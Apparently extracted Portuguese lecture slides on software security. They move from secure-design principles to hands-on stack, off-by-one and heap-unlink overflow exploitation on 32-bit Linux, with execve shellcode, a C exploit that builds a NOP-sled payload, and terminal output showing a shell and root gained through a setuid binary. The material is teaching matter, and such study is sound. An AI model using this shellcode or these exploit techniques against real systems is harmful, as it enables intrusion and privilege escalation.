O documento discute princípios de segurança de software, causas de falhas em software, consequências quando o software falha, e técnicas para analisar software, incluindo ferramentas como depuradores, disassemblers e fuzzers.
Agenda
(In)Segurança de Software,Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
3.
Agenda
(In)Segurança de Software,Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
4.
O que éSoftware?
Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Software é uma sequência de instruções a serem seguidas
na manipulação, redirecionamento, ou modificação de
um conjunto de dados.
Conjunto de procedimentos, documentação e estruturas
de dados que visam manipular dados.
5.
Software Sempre Falha
Causas
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Falhas de software só existem porque as pessoas que os
constroem estão susceptíveis a falhas.
Falta de experiência para reconhecer e remover falhas e
defeitos na fase de projeto e de desenvolvimento.
Falta de conhecimento de princípios básicos de
desenvolvimento seguro.
6.
Quando o SoftwareFalha
Consequências
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Expõe dados confidenciais à usuários não
autorizados.
Programa pode terminar a execução ao receber
entradas não esperadas.
Pode permitir injeção e execução de código malicioso.
7.
Correção de SoftwareDefeituoso
Manutenção
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Desenvolvedores só podem aplicar patchs em bugs
conhecidos. Guardados a sete chaves por grupos de
invasores.
Patchs geralmente não são aplicados por
desconhecimento dos usuários e por comodismo dos
administradores de sistema (sistema funciona então
não vou mexer, minha sistema não vai ser atacado).
8.
Correção de SoftwareDefeituoso
Manutenção
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Correções precisam ser feitas muito rapidamente por
necessidades de mercado, com isso o que deveria
apenas corrigir uma vulnerabilidade pode introduzir
um série de novas vulnerabilidades.
Geralmente corrigem os sintomas, não a real causa do
problema.
9.
Desenvolvimento de Software
Dificuldades
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Complexidade.
Extensibilidade.
Conectividade.
10.
Dificuldades
Complexidade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Software está se tornando cada vez mais complexo, o
que aumenta a quantidade de defeitos de projeto.
Número cada vez maior de linhas de código. Mais
bugs.
Menor funcionalidade significa menos risco de
exposição.
11.
Dificuldades
Extensibilidade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Permite a adição de novas funcionalidades a um
sistema. Plug-ins, drivers de dispositivo e módulos
dinamicamente carregados.
Recursos que permitem extensibilidade devem ser
bem projetados. Difícil proteger algo que ainda não
foi desenvolvido.
12.
Dificuldades
Conectividade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Popularização da Internet. Enorme quantidade de
sistemas de software trocando informações sigilosas
via rede.
Alta conectividade entre usuários domésticos e infra-
estruturas críticas.
Aumento do número de vetores de ataque.
13.
(In)Segurança de Software,Quebrando Códigos - Rafael Rosa
Bug.
Falha.
Defeito.
Problemas
Desenvolvimento de Software
14.
Problemas
Bug
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Existe somente em código, são erros comuns
cometidos por programadores.
Copiar 20 bytes para um buffer de tamanho 10.
15.
Problemas
Defeito
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Condição anormal que pode existir em qualquer
artefato na fase de desenvolvimento de software.
No início de uma comunicação criptografada os dois nós
trocam as chaves assimétricas, e então se inicia um sessão
criptografada. Através dessa sessão os dois nós trocam uma
chave simétrica, de modo que os dados possam então ser
criptografados pela mesma.
16.
Problemas
Falha
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Comportamento diferente do esperado. Defeito ou bug
ativado.
Quando um atacante se coloca no meio de uma conexão
criptografada desde o início do handshake, ele pode
burlar toda a segurança imposta pelo método de chave
assimétrica. Com isso é possível obter a chave simétrica e
então escutar ou injetar dados na conexão.
17.
Agenda
(In)Segurança de Software,Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
18.
Segurança de Software
(In)Segurançade Software, Quebrando Códigos - Rafael Rosa
Segurança é relativa. Software tem que ser seguro
contra o quê? E contra quem?
Mecanismos de segurança não podem ser
simplesmente adicionados à um sistema, tem que ser
considerados desde o início do projeto.
19.
Segurança de Software
(In)Segurançade Software, Quebrando Códigos - Rafael Rosa
Cada ambiente tem que ser analisado cuidadosamente
para não afetar a usabilidade, funcionalidade e
eficiência do sistema de software.
Software seguro deve prover confidenciabilidade,
autenticação, controle de acesso, integridade,
disponibilidade e não-repúdio.
20.
Software Seguro
Proteção da ponta mais fraca
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Software é tão seguro quanto sua ponta mais fraca.
Atacantes vão seguir pelo caminho de menor
resistência.
21.
Software Seguro
Defesa em profundidade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Mecanismos de segurança devem ser redundantes.
Permite vários pontos de falha.
Evita que um único ponto de falha comprometa a
segurança do sistema como um todo.
Aplicação deve ser projetada como se todos os outros
mecanismos de segurança do sistema tivessem sido
burlados.
22.
Software Seguro
Falhar de modo seguro
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Falhas são inevitáveis e precisam ser planejadas de
modo a não expôr o sistema. Recuperação de falhas é
um aspecto essencial da engenharia de segurança.
Após uma falha, alterações devem ser desfeitas de
modo que o sistema volte a um estado seguro.
Valores de retorno devem ser cuidadosamente
checados.
23.
Software Seguro
Princípio de menor privilégio
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Mínimo de permissão durante o menor tempo
possível.
Desistir de permissões elevadas assim que ações que
as exigiam forem completadas.
Se uma vulnerabilidade for explorada o atacante terá
tantas regalias quanto o processo quebrado.
24.
Software Seguro
Compartimentalização
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Separar o sistema em tantos compartimentos quanto
for possível, de modo que cada compartimento tenha o
mínimo de privilégio necessário para realizar as
operações de que está encarregado.
Confinar códigos com alto nível de privilégio. Todo
dano ocorrerá em um “ambiente” controlado.
25.
Software Seguro
KISS
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Complexidade aumenta o risco de defeitos.
Reutilização de componentes que já provaram sua
qualidade deve ser praticada.
Não é inteligente criar rotinas próprias de criptografia
e garantia de integridade.
26.
Software Seguro
Privacidade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Feedback para o usuário é diferente de prover muita
informação.
Privacidade dos usuários não deve ser comprometida.
Dados pessoais devem ser bem protegidos.
27.
Software Seguro
Esconder segredos não é fácil
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Ofuscamento de código e segurança por obscuridade
não funcionam. Acesso ao binário significa acesso à
informação.
Deve-se considerar que o atacante conhece o sistema
tanto quanto o desenvolvedor.
28.
Software Seguro
Não confiar em interfaces externas
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Toda interface com o software é um possível vetor de
ataque.
Entrada de qualquer interface do sistema deve ser
vista com desconfiança. Não se deve assumir nada em
relação a I/O.
Suposições incorretas sobre o ambiente de execução
do sistema resultam em problemas de segurança.
29.
Software Seguro
Mecanismo menos comum
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Entidades diferentes não devem compartilhar
mecanismos que permitem acessos à recursos.
O mesmo usuário de um SGBD não deve ser
compartilhado entre duas aplicações. Exploração de
uma aplicação pode comprometer a outra.
30.
Software Seguro
Mediação Completa
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Em toda operação realizada por um usuário deve-se
validar a identidade do agente e checar as permissões
do mesmo em relação à tarefa em questão.
31.
Analisando Software
Ferramentas
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Depurador.
Disassembler.
Descompilador.
Ferramenta de auditoria de segurança.
Fuzzer.
32.
Analisando Software
Depurador
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Executa um programa passo a passo, permite análise
de registradores, dumps de memória, configuração de
pontos de interrupção,
OllyDbg, SofIce, gdb.
33.
Analisando Software
Disassembler
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Faz engenharia reversa do código de máquina gerando
código assembly.
IDAPro, OllyDbg, gdb, Valgrind.
34.
Analisando Software
Descompilador
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Faz engenharia reversa do código de máquina gerando
código de alto nível. Código um tanto obscuro.
Depende da quantidade de informação da linguagem
de alto nível contida no binário.
Rec, dcc.
35.
Analisando Software
Ferramenta de auditoria de segurança
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Faz auditoria de código fonte em busca de padrões
previamente conhecidos como “problemáticos”.
Descrevem o problema encontrado e propõe
correções.
RATS, Flawfinder, ITS4.
36.
Analisando Software
Fuzzers
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Injeta dados inválidos, mal formatados, maliciosos, e
inesperados em pontos de entrada de dados do
software. Se ocorrer algo diferente do esperado, o
defeito é detectado.
Os dados de entrada por sem baseados tanto em white-
box quanto em black-box.
FuzzGrind, tmin.
37.
Agenda
(In)Segurança de Software,Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
38.
Buffer Overflow
O que é?
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Ocorre quando um bug permite que se possa
extravasar a quantidade de memória reservada à um
buffer, permitindo que dados sejam gravados em
endereços de memória contíguos ao mesmo
Erro de programação comum em linguagem C. Muitos
poderes exigem muitas responsabilidades.
39.
Buffer Overflow
E daí?
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Esse endereço contíguo pode ser um frame de pilha,
endereço de retorno, ponteiro de função ou uma
variável de controle da aplicação.
Esquemas de proteção em software podem ser
facilmente quebrados caso sejam controlados por
dados (flags, variáveis de controle) em memória.
Buffer Overflow
Área de memória vulnerável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Overflows podem ocorrer na stack ou na heap.
Na heap são mais difíceis de explorar e de identificar.
42.
Agenda
(In)Segurança de Software,Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
43.
Stack Overflow
Stack
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Área da memória reservada para chamadas de função
e armazenamento de variáveis locais.
esp var2
var1
buffer1
ebp ebp salvo
ret
arg1
arg2
44.
Stack Overflow
Mapeamento da Stack
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Sistemas unix mapeiam a stack para regiões altas de
memória:
0xbffeb000 - 0xc0000000
Sistemas Windows mapeiam para regiões baixas:
0x0022ff1f - 0x00096cbf
45.
Stack Overflow
Mapa de memória no Linux
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
memória baixa não usada
.init, .text, .rodata
.data, .bss
heap
Bibliotecas
compartilhadas
stack
memória alta kernel
46.
Stack Overflow
Mapa de memória no Windows
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
memória baixa kernel
stack
heap
.text
.data, .rodata, .bss
Bibliotecas
memória alta compartilhadas
47.
Stack Overflow
Programa vulnerável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
void func(char *str){ int main(int argc, char *argv[]){
char buffer[16];
if(argc != 2){
strcpy(buffer, str); printf("uso: %s <param>n", argv[0]);
printf("%sn", buffer); return 1;
} }
func(argv[1]);
printf("fimn");
}
[rafael@centos stack]$ ./stack_overflow_ex1 AAAABBBBCCCCDDDDEEEEFFFF
AAAABBBBCCCCDDDDEEEEFFFF
Segmentation fault
[rafael@centos stack]$
48.
Stack Overflow
Stack do programa
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
crescimento da stack
buffer[16] EBP anterior end retorno ptr str
esp ebp
49.
Stack Overflow
Vetor de injeção
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Injetar vetor de ataque de modo a controlar o endereço
de retorno.
vetor de injeção
buffer[16] EBP anterior end retorno ptr str
50.
Stack Overflow
Executando código inativo
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
void foo(){
printf("nunca entra aquin"); int main(){
exit(1); func();
} printf("fimn");
}
void func(){
char buffer[16];
strcpy(buffer, "AAAABBBBCCCCDDD");
*((long*)(buffer+20)) = (long)&foo;
printf("%sn", buffer);
}
[rafael@centos stack]$ ./stack_overflow_ex2
AAAABBBBCCCCDDD
nunca entra aqui
[rafael@centos stack]$
51.
Stack Overflow
Controlando endereço de retorno
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Endereço de retorno sobrescrito.
AAAA...DDD EBP anterior ptr foo ...
buffer[16] EBP anterior end retorno ...
esp ebp crescimento da
stack
52.
Stack Overflow
Executando um shell
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
E se fosse um shell?
void foo(){
char *params[2];
params[0] = "/bin/sh";
params[1] = NULL;
execve(params[0], params, NULL);
}
[rafael@centos stack]$ ./stack_overflow_ex3
AAAABBBBCCCCDDD
sh-3.2$
53.
Stack Overflow
Planejando o ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Não basta sobrescrever o endereço de retorno.
Precisamos de um shellcode no nosso vetor de injeção.
Endereço de retorno deve apontar para o payload, de
modo a redirecionar o fluxo para o código de execução
do shell.
54.
Stack Overflow
Escrevendo shellcode
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Desassemblando chamada à execve().
movl $0x80484a8,0xfffffff4(%ebp) “/bin/sh'
movl $0x0,0xfffffff8(%ebp) NULL
mov 0xfffffff4(%ebp),%edx
movl $0x0,0x8(%esp) NULL
lea 0xfffffff4(%ebp),%eax
mov %eax,0x4(%esp) /bin/sh
mov %edx,(%esp) /bin/sh, NULL
call 0x8048280 <execve>
55.
Stack Overflow
Escrevendo shellcode
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Desassemblando execve().
mov 0x8(%ebp), %ebx “/bin/sh”
mov 0xc(%ebp), %ecx {“/bin/sh”, NULL}
mov 0x10(%ebp), %edx NULL
mov $0xb, %eax 0xb
int $0x80
56.
Stack Overflow
Escrevendo shellcode
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
eax recebe 0xb.
Ponteiro para “/bin/sh” deve estar em ebx.
Ponteiro de strings em ecx.
Ponteiro NULL em edx.
57.
Stack Overflow
Escrevendo shellcode
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
BITS 32
section .text
global _start
_start:
push 0 ; empilha '0'
push 0x68732f2f ; empilha “//sh”
push 0x6e69622f ; empilha “/bin”
mov ebx, esp ; ebx aponta para “/bin//sh”
push 0 ; empilha NULL
push ebx ; empilha endereço de “/bin//sh”
mov ecx, esp ; ecx aponta para ponteiros de strings
mov eax, 0xb ; eax recebe 0xb (execve)
int 0x80 ; chamada de sistema
58.
Stack Overflow
Testando o código
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Executando shellcode.
[rafael@centos stack]$ nasm -f elf -o shellcode1.o shellcode1.asm
[rafael@centos stack]$ ld -s -o shellcode1 shellcode1.o
[rafael@centos stack]$ ./shellcode1
sh-3.2$ exit
exit
[rafael@centos stack]$
Gerando binário.
[rafael@centos stack]$ nasm -f bin -o shellcode1.bin shellcode1.asm
59.
Stack Overflow
Binário gerado
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Binário gerado possui 0x00, o que acarretaria no
término de uma operação de string.
60.
Stack Overflow
Escrevendo shellcode sem 0x00
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
BITS 32
section .text
global _start
_start:
xor eax,eax ; zera eax
push eax ; empilha eax
push 0x68732f2f ; empilha “//sh”
push 0x6e69622f ; empilha “/bin”
mov ebx, esp ; ebx aponta para “/bin//sh”
push eax ; empilha NULL
push ebx ; empilha endereço de “/bin//sh”
mov ecx, esp ; ecx aponta para ponteiros de strings
mov al, 0xb ; al recebe 0xb (execve)
int 0x80 ; chamada de sistema
61.
Stack Overflow
Testando o código
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Executando shellcode.
[rafael@centos stack]$ nasm -f elf -o shellcode2.o shellcode2.asm
[rafael@centos stack]$ ld -s -o shellcode2 shellcode2.o
[rafael@centos stack]$ ./shellcode2
sh-3.2$ exit
exit
[rafael@centos stack]$
Gerando binário.
[rafael@centos stack]$ nasm -f bin -o shellcode2.bin shellcode2.asm
Stack Overflow
Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Para criar o vetor de injeção levar em conta tamanho do
buffer, alinhamento dos bytes, e restrições de entrada.
Payload pode ser colocado em qualquer localização de
memória conhecida
65.
Stack Overflow
Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
ret deve estar nesse intevalo
NOPs Shellcode ret... ret ret ret...
buffer[] EBP anterior end retorno ...
esp ebp crescimento da stack
66.
Stack Overflow
Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Como prever a posição correta de retorno?
Stack geralmente é alocada no mesmo endereço.
Conhecendo o início da stack fica fácil adivinhar onde o
buffer a ser explorado está localizado.
67.
Stack Overflow
Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
#define RETADDRS 0xbffff600
char shellcode[]= "x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1xb0x0bxcdx80";
int main(int argc, char **argv){
FILE *badfile;
long *ptr;
unsigned int ret;
int n, i;
char buffer[313];
if(argc != 2){
fprintf(stderr, "uso: %s <ret>n", argv[0]);
return 1;
}
68.
Stack Overflow
Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
ret = RETADDRS - atoi(argv[1]);
memset(&buffer, 0x90, 312);
memcpy(buffer+120, shellcode, strlen(shellcode));
ptr = buffer + 120 + strlen(shellcode);
/*alinhando em 4 bytes*/
ptr = ((char*)ptr) + (4 - strlen(shellcode)%4);
n = (&buffer[311] - (char*)ptr)/4;
for(i = 0; i < n; i++)
ptr[i] = ret;
buffer[312] = '0';
badfile = fopen("./badfile_ex5.bin", "w");
fwrite(buffer, 313, 1, badfile);
fclose(badfile);
}
69.
Stack Overflow
Ganhando um shell
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
[rafael@centos stack]$ ./exploit_stack_overflow_ex5 300
[rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin `
�������������������������������������������
�������������������������������������������
����������������������������������1�Ph//shh/bin��
PS��1Ұ ̀��������������������������
�������������������������������������������
�������������������������������������������
�������������������������������������������
������������
sh-3.2$
Pra que serve isso?
70.
Stack Overflow
Ganhando acesso irrestrito
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Se o programa tivesse permissões elevadas:
[root@centos stack]# chown root stack_overflow_ex5
[root@centos stack]# chmod +s stack_overflow_ex5
[root@centos stack]# ls -l stack_overflow_ex5
-rwsrwsrwx 1 root root 9109 2009-08-12 16:08 stack_overflow_ex5
[rafael@centos stack]$ ./exploit_stack_overflow_ex5 450
[rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin `
������������������������������������������
������������������������������������������
������������������������������������1�Ph//shh/bin
��PS��1Ұ ̀�������������������
������������������������������������������
������������������������������������������
������������������������
# whoami
root
#
71.
Stack Overflow
Terminador não calculado
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Operações de buffer são feitas sem levar em
consideração o byte NULL de terminação da string.
Dependendo da função de tratamento o terminador
pode ou não ser colocado.
Se não for colocado, a string pode ser tratada como se
fosse maior do que realmente é.
Se for colocado, o byte seguinte à string será
sobrescrito com 0x00.
72.
Stack Overflow
No terminator
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
#define MAXLEN 128
int func1(char *str1, char *str2){
char buffer[MAXLEN];
memset(buffer, 0xff, MAXLEN);
strncpy(buffer, str1, MAXLEN-1);
strncat(buffer, str2, MAXLEN - strlen(buffer)-1);
printf("%sn", buffer);
}
/*função de auxílio, já que o frame da main é protegido*/
int func(char *str1, char *str2){
int x=0;
func1(str1, str2);
}
73.
Stack Overflow
No terminator
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int main(int argc, char *argv[]){
if(argc != 3){
fprintf(stderr, "uso %s <arg1> <arg2>n", argv[0]);
return 1;
}
func(argv[1], argv[2]);
}
74.
Stack Overflow
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Quando MAXLEN-1 bytes são copiados em strncpy,
o terminador não é escrito.
strlen(buffer) será maior que MAXLEN-1, fazendo a
operação resultar em um valor negativo, que quando
interpretado como unsigned representa um valor
muito grande. Com isso acontecerá a concatenação.
O final do buffer é o primeiro byte 0x00 a partir do
início do mesmo.
75.
Stack Overflow
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Pilha do programa vulnerável payload injetado
buf shellcode
ebp ebp
retaddr retaddr
str1 str1
str2 str2
x
ebp
retaddr ret...
str1
str2
76.
Stack Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Os 128 bytes do buffer serão preenchidos com o
payload.
Mais 80 bytes serão passados com o endereço de
retorno.
[rafael@centos stack]$ ../get_esp `cat badfile_nonull.bin `
ESP: 0xbffff444
[rafael@centos stack]$
77.
Stack Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Deve-se considerar o tamanho do buffer:
ret = 0xbffff444 - 128
78.
Stack Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
[rafael@centos stack]$ ./nonull `cat badfile_nonull.bin `
�������������������������������������������
�������������������������������������������
������������������1�Ph//shh/bin��PS���
̀�H�����`������������������������������������
�������������������������������������������
�����
sh-3.2$ exit
exit
[rafael@centos stack]$
79.
Stack Overflow
Off by one
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int func1(char *str){
char buf[200]; int main(int argc, char *argv[]){
strcpy(buf, "argv[1] = "); if(argc != 2){
strncat(buf, str, sizeof(buf) - strlen(buf) ); fprintf(stderr, "uso %s
<arg>n", argv[0]);
printf("%sn", buf); return 1;
} }
/*função de auxílio já que o frame da main é func(argv[1]);
protegido*/ }
int func(char *str){
func1(str);
}
80.
Stack Overflow
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Consiste na falsificação do frame de pilha da função
chamadora.
Pilha do programa vulnerável payload injetado
shellcode Quando a função
buf chamadora
retornar, o valor
ret...
apontado pelo
ebp ebp ebp injetado + 4
retaddr tomará o controle
retaddr
do eip.
str str
ebp ebp
retaddr retaddr
81.
Stack Overflow
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Como sobrescrevemos o byte menos significativo do
ebp, o deslocamento máximo do ebp da função
chamadora é 255 bytes.
Quanto menor o valor do LSB do ebp salvo, menor
será o deslocamento, e quanto menor o deslocamento,
pode-se garantir que o novo ebp apontará para o fim
do buffer.
Preenchendo o início do buffer com o endereço do
payload o fluxo será redirecionado para o código
injetado.
82.
Stack Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Dos 200 bytes do buffer sobram 190 para a entrada do
programa
[rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin `
ESP: 0xbffff454
[rafael@centos stack]$
O LSB deve ser menor.
[rafael@centos stack]$ export PADDING=`perl -e 'print “A”x80'`
[rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin `
ESP: 0xbffff3f4
[rafael@centos stack]$
83.
Stack Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Deve-se considerar o tamanho do buffer:
ret = 0xbffff3f4 - 200
84.
Stack Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
[rafael@centos stack]$ ./off_by_one `cat badfile_off_by_one.bin `
Argv[1] = �������������������������������������
�������������������������������������������
���������������������1�Ph//shh/bin��PS���
̀,���,���,���,���,���,���,���,���,���,���,���,�
��,���,���,���,
sh-3.2$ exit
exit
[rafael@centos stack]$
85.
Agenda
(In)Segurança de Software,Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
86.
Heap Overflow
Heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Área da memória reservada para alocação dinâmica de
blocos de memória.
Cada bloco alocado possui um cabeçalho de controle.
Gerenciada e organizada por algorítimos complexos.
87.
Heap Overflow
Cabeçalho da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
chunk A prev_size prev_size prev_size
size 00010000b 00010000b
fd
bk dados dados
chunk B prev_size
size 00010001b 00010001b
fd próximo livre
bk dados anterior livre
chunk C prev_size 00010000b
size tam & PREV_INUSE tam
fd próximo livre próximo livre
bk anterior livre anterior livre
88.
Heap Overflow
Campos do cabeçalho
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
prev_size: Caso o chunk anterior (fisicamente) esteja
livre, contém tamanho deste chunk, caso contrário, é
usado como espaço para dados do chunk anterior.
size: tamanho em bytes (múltiplos de 8) do chunk
atual. Dois bits menos significativos PREV_INUSE e
IS_MMAPPED.
89.
Heap Overflow
Campos do cabeçalho
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
fd: próximo chunk na bin. Caso chunk esteja alocado
é usado como área de dados.
bk: chunk anterior na bin. Caso chunk esteja alocado
é usado como área de dados.
90.
Heap Overflow
Organização da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Chunks livres ficam em uma lista duplamente
encadeada chamada bin.
Essa lista é controlada pelos campos fd e bk do
cabeçalho.
Há uma bin para cada tamanho de chunk (8, 64, 512,
etc).
91.
Heap Overflow
Organização da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Quando free() é chamada em um endereço de
memória (área de dados de um chunk), os chunks
fisicamente adjacentes são checados a fim de fazer
uma fusão gerando um chunk maior.
Assim sendo, o chunk livre tem que ser retirado da bin
onde se encontra, e só então a fusão pode acontecer.
92.
Heap Overflow
Organização da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
unlink() é chamada no chunk.
#define unlink( P,BK,FD) {
BK = P->bk;
FD = P->fd;
FD->bk = BK;
BK->fd = FD;
}
93.
Heap Overflow
Organização da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Controlando fd e bk do chunk P é possível
sobrescrever qualquer endereço de memória.
94.
Heap Overflow
Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
char payload[] = /*jmp*/
"xebx0a”
“AAAAAAAAAA”
/*shellcode*/
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd"
"x80";
int main (void){
int *aux;
void (*foo)() = NULL;
char *ptr1, *ptr2;
ptr1 = malloc (128);
ptr2 = malloc (16);
95.
Heap Overflow
Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
aux = ptr2;
*aux = ((char*)&foo) - 12; /* FD 2*/
aux++;
*aux = payload; /* BK 2*/
aux = ptr2+16;
*aux = 0xdefaced; /* prev_size 3*/
aux++;
*aux = 0xdefaced & ~0x1; /*size 3*/
free (ptr1);
if( foo )
foo();
}
96.
Heap Overflow
Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
fd do segundo chunk recebe o endereço a ser
sobrescrito menos 12 (FD->bk = FD+12).
bk recebe valor (comprimento de um ponteiro) a ser
colocado no endereço alvo.
O campo size do terceiro chunk recebe um valor
qualquer em que o bit PREV_INUSE esteja
desativado.
97.
Heap Overflow
Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Quando free() é chamada para desalocar o primeiro
chunk, o campo size do terceiro chunk é testado, e
como o bit PREV_INUSE está desativado unlink()
será chamada no segundo chunk de modo que se possa
fazer a junção do primeiro e do segundo.
foo então recebe o endereço de payload. payload+8
(BK->fd = BK+8) recebe endereço de foo menos 12.
98.
Heap Overflow
Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Como são sobrescritos 4 bytes a partir de payload+8
haverão instruções ilegais no meio do shellcode.
payload+8
jmp 0xa dummy shellcode
0xa
[rafael@centos heap]$ ./heap_overflow_ex1
sh-3.2$
99.
Heap Overflow
Forjando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
char payload[] = /*jmp*/
"xebx0a”
“AAAAAAAAAA”
/*shellcode*/
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd"
"x80";
int main(){
int *aux;
void (*foo)() = NULL;
char *ptr1, *ptr2;
ptr1 = malloc (128);
ptr2 = malloc (16);
Heap Overflow
Forjando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
O terceiro chunk localiza-se na posição (ptr2-8) +
*(ptr2-4).
free() entende que o campo size do terceiro chunk
localiza-se em (ptr2-12).
Na representação de -8 o bit PREV_INUSE está
desativado então unlink() é chamada no chunk 2.
102.
Heap Overflow
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
chunk A prev_size prev_size
00010000b 00010000b
0xdefaced
dados 0xdefaced
chunk B shellcode
00010001b 00010001b
(GOT entry) - 12
dados shellcode addr
